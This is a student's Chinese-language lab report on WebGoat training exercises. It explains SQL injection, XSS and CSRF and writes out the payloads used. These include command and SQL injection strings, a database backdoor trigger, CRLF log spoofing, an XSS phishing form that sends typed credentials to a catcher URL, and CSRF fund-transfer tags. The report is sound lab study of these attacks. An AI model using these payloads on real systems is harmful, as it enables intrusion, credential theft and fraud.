2019-2020-2 『网络对抗技术』Exp9:Web安全基础
-
基础问题回答
-
实践过程记录
- WebGoat安装
- SQL注入攻击
- 1.命令注入(Command Injection)
- 2.数字型注入(Numeric SQL Injection)
- 3.日志欺骗(Log Spoofing)
- 4.SQL 注入(LAB: SQL Injection)
- 5.字符串注入(String SQL Injection)
- 6.数据库后门(Database Backdoors)
- 7.数字型盲注入(Blind Numeric SQL Injection)
- 8.字符串型盲注入(Blind String SQL Injection)
- XSS攻击
- 1.XSS 钓鱼(Phishing with XSS)
- 2.存储型XSS攻击(Stored XSS Attacks)
- 3.反射型XSS攻击(Reflected XSS Attacks)
- CSRF攻击
- 1.跨站请求伪造(Cross Site Request Forgery (CSRF))
- 2.绕过 CSRF 确认( CSRF Prompt By‐Pass)
-
实验总结与体会
一.基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:攻击者通过在用户名、密码输入框中输入 '、--、# 等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录。即如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。 防御:
- 可以在后台控制输入的长度,或者禁止用户输入 '、--、# 等特殊字符
- 普通用户与系统管理员用户的权限要有严格的区分
(2)XSS攻击的原理,如何防御
- 原理:攻击者往Web页面里插入恶意 html 标签或者 javascript 代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御办法:
- 用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码
- 网页编写者角度:在输入到输出的过程中进行过滤、转义
- 表单提交的时候进行特殊字符的检测
- 对输入框做长度限制
- 在后台对数据进行过滤
(3)CSRF攻击原理,如何防御
- 原理:
- CSRF是冒名登录。跨站请求伪造的核心本质是窃取用户的Cookie,用户进行了登录,Cookie就是用户的唯一凭证,只要攻击者能够得到Cookie,就可以伪装成被害者进入服务器.
- 访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
- 防御办法:
- 尽量别让浏览器记住密码
- 将提交方法改为post
- 定期清理cookie
- 使用随机数对表单中的值进行验证
二.实践过程记录
安装jdk1.8
- 去Oracle官网下载jdk1.8版本:Java SE Development Kit 8 Downloads
- 根据网上找到的教程在kali中安装好jdk1.8:Kali-JDK1-8安装教程
- 查看是否安装成功:java -version
安装WebGoat
- 去GitHub下载WebGoat 7.0.1安装包:The OWASP WebGoat 7.0.1 Release
- WebGoat默认使用8080端口,开启前先查看端口是否被占用: netstat -tupln | grep 8080
- 若被占用,终止占用8080端口的进程:
kill 进程号
- 安装并运行WebGoat: java -jar webgoat-container-7.0.1-war-exec.jar
- 看到 Starting ProtocolHandler ["http-bio-8080"] 这一条消息之后,即可开始后续的实验
- 浏览器中输入: http://localhost:8080/WebGoat ,进入WebGoat登录界面
- 下方已经给出两组默认的用户名和密码,直接使用一组登陆即可开始实验
SQL注入攻击
-
命令注入(Command Injection)
-
原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
- 目标:可以在目标主机上执行任何系统命令
- 右键点击,选择 inspect Element 审查网页元素
- 选择 Edit As HTML 对网页源代码进行修改
- 找到选项 AccessControlMatrix.help ,在末尾注入 "&&ifconfig"
- 点击view执行时使用了cmd.exe 直接运行 dos 指令。那么需要找到可以连接dos指令的符号。可以使用“&”命令连接符号把两个命令连续执行,不用换行,用来分隔一个命令行中的多个命令。cmd命令提示符先运行第一个命令,再运行第二个命令。
- 执行view后,可以看到调用cmd中ifconfig的内容
- 再尝试注入 "& netstat -an & ipconfig"
- 点击 view 开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功
- 正常view,不进行命令注入时结果如下:
- 从而和攻击原理对应了起来,遭到命令注入攻击的网页在返回正常的结果的同时还调用了shell指令,执行了注入的命令并返回结果
数字型注入(Numeric SQL Injection)
-
原理:在station字段中注入特征字符,组合成新的SQL语句。 如:SELECT * FROM weather_data WHERE station = [station]
-
目标:该例子通过注入SQL字符串查看所有的天气数据。
- 右键地名,选择 inspect Element 审查网页元素,对源代码进行修改,在Value值中添加 or 1=1
- 显示所有城市的天气情况,攻击成功!
日志欺骗(Log Spoofing)
-
原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
-
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
- 利用入回车(%0D)和换行符(%0A),在 username 中填入 5221zxj%0d%0aLogin Succeeded for username: admin
字符串型SQL注入(LAB: SQL Injection-Stage1: String SQL Injection)
- 原理:通过注入字符串绕过认证
- 由于网页的html代码中,给密码框限定了最大长度为8,限制了SQL注入。因此将其长度修改至21,以用户Neville(admit)登录,输入密码 5221' or '1' = '1
- 以用户Neville登录,以永真式的形式输入密码 5221' or 1=1 -- ,这一次成功登陆了,并且获得了所有人员的名单
数字型 SQL 注入(LAB: SQL Injection-Stage3: Numeric SQL Injection)
- 原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。
- 返回登陆后界面,同样右键选择
inspect Element
审查网页元素,查看索引,发现此处是以员工ID作为索引传递参数的
- 要达到通过Larry来浏览老板账户信息的目的,就需要把ID的value值修改为“顺序最高”,即修改为 101 or 1=1 order by salary desc
- 其中
desc
表示使用降序排列,因为老板的工资是最高的,所以老板的信息就会被排到第一个
- 再次查看员工信息,为boss的信息,攻击成功
字符串注入(String SQL Injection)
-
原理:基于以下查询语句构造自己的 SQL 注入字符串 SELECT * FROM user_data WHERE last_name = '?'
-
目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”
- 正常情况下只能查询到用户名对应的信用卡号码
- 输入查询的用户名 Smith' or 1=1-- (Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)
- 得到所有用户的信用卡号码,攻击成功!
数据库后门(Database Backdoors)
-
原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
-
目标:利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
- 输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入
- 输入101; update employee set salary=10000,用分号隔开需要执行的两条语句,该语句将员工Larry的工资修改为10000
- 此时重新输入
101
,发现信息已经被修改了
- 输入以下语句,添加触发器,创建一个后门,把表中所有的邮箱和用户ID都设为攻击者的(我的): 101;CREATE TRIGGER lsjBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='5221cn@qq.com' WHERE userid = NEW.userid
- BEFORE/AFTER:参数指定了触发执行的时间,在事件之前或是之后
- FOR EACH ROW:表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
- 攻击成功
数字型盲注入(Blind Numeric SQL Injection)
-
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
-
目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
- 输入查询语句 101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效
- 输入查询语句 101 AND 1=2 ,因为第二个条件不成立,所以而页面返回帐号无效
- 针对查询语句的后半部分构造复杂语句,如: 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ) 如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
字符串型盲注入(Blind String SQL Injection)
-
原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
-
目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
- 与数字型盲注入类似,只是将注入的数字换为字符串而已
- 例如:输入 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'K' ) 取得 pin 字段数值的第一个字母,并判断其是否比字母“K”小
- 同样使用二分法进行测试,最后得到pin字段为 Jill
XSS攻击
-
1.Phishing with XSS 跨站脚本钓鱼攻击
-
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击.
-
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
-
在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS
- 将下面这段代码输入到"Search:"输入框中,点击search;
-
<head> <body> <div> <div style="float:left;height:100px;50%;background-color:green;"></div> <div style="float:left;height:100px;50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
- 结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。
- 如果真的在登录框中输入用户名、密码,eg:20175221 zxj,点击登录后,会像代码中
alert
提示的,显示被窃取的用户名和密码。 -
2、Stored XSS Attacks 存储型XSS攻击
- 存储型XSS的攻击基本流程:
-
- 比如在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,并且提交。
- 网站后台程序将留言内容存储在数据中
- 然后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,这就可能导致:黑客留言的脚本本身应该作为内容显示在留言板的,但此时黑客的留言脚本被浏览器解释执行。
- 黑客的脚本可以用来做如下所述的攻击:
-
1.通过javascript获取用户的cookie,根据这个cookie窃取用户信息
2.重定向网站到一个钓鱼网站
3.重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器 -
打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
②在Message框中输入上面那段代码,并点击submit,Title随便输入
-
<head> <body> <div> <div style="float:left;height:100px;50%;background-color:green;"></div> <div style="float:left;height:100px;50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
- 提交后,下方“Message List”中会新增刚输入的Tile名字的链接,点击链接。
- 可以看到我们的html已经注入成功,messege部分显示的是绿、红、蓝三色框,在下方用户名密码处输入,eg:20175221 zxj,点击提交后,被成功获取用户名和密码:
-
3、Reflected XSS Attacks 反射型XSS攻击
- 反射型XSS:
-
我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,
特有的恶意代码参数就会被HTML解析执行.
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。 - 存储型XSS与反射型XSS的区别:
-
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
-
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
-
①打开xss的第三个攻击Reflected XSS Attacks
- ②在“Enter your three digit access code:”中输入<script>alert("I am zxj");</script>点击Purchase,成功显示警告框,内容为我们script脚本指定的内容:
CSRF攻击
-
4、Cross Site Request Forgery(CSRF)
- CSRF攻击介绍:
-
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
-
目标:这次攻击向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
-
① 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)
- ② 查看页面下方Parameters中的src和menu值,分别为326和900。
- ③ 在message框中输入
-
<img src="http://localhost:8080/WebGoat/attack?Screen=326&menu=900&transferFunds=5000" width="1" height="1" />
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
- 这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
- 宽高设置成1像素的目的是隐藏该图片
- ④ 提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
- 如图所示,攻击成功
-
5.CSRF Prompt By-Pass
-
① 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
②同攻击4,查看页面下侧Parameters中的src和menu值(285和900),并在title框中输入学号,message框中输入代码:
- <iframe src="attack?Screen=285&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的链接,攻击成功:
三.心得实验体会
- 本次实验内容是在Webgoat平台上进行,配置环境并没有花费太长的时间,也挺简单
- 整体来说,本次实验完成得很顺利。Webgoat的指导对每一个小实验的原理都介绍得非常清楚,便于理解
-
这也是最后一个实验了,一学期的课程眼看要接近尾声,心中对老师很是不舍。
-
我觉得通过网络对抗技术这门课,通过这九次实验,最重要的一点就是,增强了自己的动手实践能力,对网络攻击与防范有了更深层次的认识与理解
- 相信对我日后会有很大帮助!